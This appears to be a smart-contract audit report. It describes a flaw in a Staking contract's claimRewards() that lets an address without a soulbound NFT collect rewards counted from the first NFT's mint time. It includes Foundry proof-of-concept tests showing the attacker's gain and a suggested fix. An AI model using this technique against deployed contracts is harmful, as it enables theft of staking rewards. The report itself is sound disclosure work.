Summary
An attacker can mint a Soulbound NFT, claim a loveToken from the Airdrop contract, and transfer the token to an
address unassociated with an NFT. Subsequently, they can stake the token in the Staking contract and claim rewards using the timestamp
of the first minted NFT.
This can only be done for the first claim, afterward, the lastClaim
storage slot is updated with the new timestamp.
Vulnerability Details
The Staking::claimRewards()
function improperly calculates the number of weeks for an address without a Soulbound NFT, resulting in a
return of the id 0, corresponding to the first-ever minted NFT.
function claimRewards() public {
@> uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
...
...
}
Impact
An attacker can claim additional rewards, mimicking the behavior of possessing the first-ever minted NFT.
This first test corresponds to a normal reward calculation.
Two users mint an NFT.
Some time passes.
Then another two users mint a new NFT.
User deposits in the staker contract
Some time later the user claims the rewards.
function test_validRewards() public {
vm.warp(block.timestamp + 100 days + 1 seconds);
vm.startPrank(anotherSoulmate1);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.startPrank(anotherSoulmate2);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.warp(block.timestamp + 100 days + 1 seconds);
vm.startPrank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.startPrank(soulmate2);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.warp(block.timestamp + 101 days + 1 seconds);
vm.startPrank(soulmate1);
airdropContract.claim();
vm.stopPrank();
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), loveToken.balanceOf(soulmate1));
stakingContract.deposit(loveToken.balanceOf(soulmate1));
vm.stopPrank();
vm.warp(block.timestamp + 200 days + 1 seconds);
vm.startPrank(soulmate1);
stakingContract.claimRewards();
vm.stopPrank();
console.log("Balance rewards normal user: ", loveToken.balanceOf(soulmate1) / 10 ** loveToken.decimals());
}
This second test corresponds to an attacker.
Two users mint an NFT.
Some time passes.
Then the attacker and another user mint a new NFT.
The attacker transfer the token to another addres with no Soulbound NFT associated.
Attacker deposits in the staker contract
The attacker claim rewards corresponding to the first minted NFT.
function test_stakesRewardsNoSoulmate() public {
vm.warp(block.timestamp + 100 days + 1 seconds);
vm.startPrank(anotherSoulmate1);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.startPrank(anotherSoulmate2);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.warp(block.timestamp + 100 days + 1 seconds);
vm.startPrank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.startPrank(soulmate2);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.warp(block.timestamp + 101 days + 1 seconds);
vm.startPrank(soulmate1);
airdropContract.claim();
loveToken.transfer(attacker, loveToken.balanceOf(address(soulmate1)));
vm.stopPrank();
vm.startPrank(attacker);
loveToken.approve(address(stakingContract), loveToken.balanceOf(attacker));
stakingContract.deposit(loveToken.balanceOf(attacker));
vm.stopPrank();
vm.warp(block.timestamp + 200 days + 1 seconds);
vm.startPrank(attacker);
stakingContract.claimRewards();
vm.stopPrank();
console.log("Balance rewards attacker: ", loveToken.balanceOf(attacker) / 10 ** loveToken.decimals());
}
Output showing the differences in the amount of rewards for the actions of a normal user vs the actions of an attacker.
Logs:
Balance rewards normal user: 4343
Balance rewards attacker: 5757
Tools Used
Manual review and Foundry
Recommendations
Check if the user has minted NFT and start counting from nextID = 1, so an id of 0 will be used as invalid.
function claimRewards() public {
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
++ require(soulmateId != 0);
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
...
...
}